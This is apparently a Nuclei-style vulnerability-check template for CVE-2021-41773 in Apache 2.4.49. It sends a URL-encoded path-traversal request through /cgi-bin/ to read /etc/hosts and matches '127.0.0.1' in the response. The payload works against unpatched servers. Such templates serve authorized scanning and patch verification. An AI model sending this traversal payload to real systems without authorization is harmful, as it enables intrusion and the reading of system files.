https://target/cgi-bin/.%2e/%2e%2e/%2e%2e/%2e%2e/etc/hosts
id: CVE-2021-41773
info:
name: Apache 2.4.49 Exploit
author: numanturle
severity: high
requests:
- method: GET
path:
- "{{BaseURL}}/cgi-bin/.%2e/%2e%2e/%2e%2e/%2e%2e/etc/hosts"
matchers-condition: and
matchers:
- type: regex
regex:
- "127.0.0.1"
- type: status
status:
- 200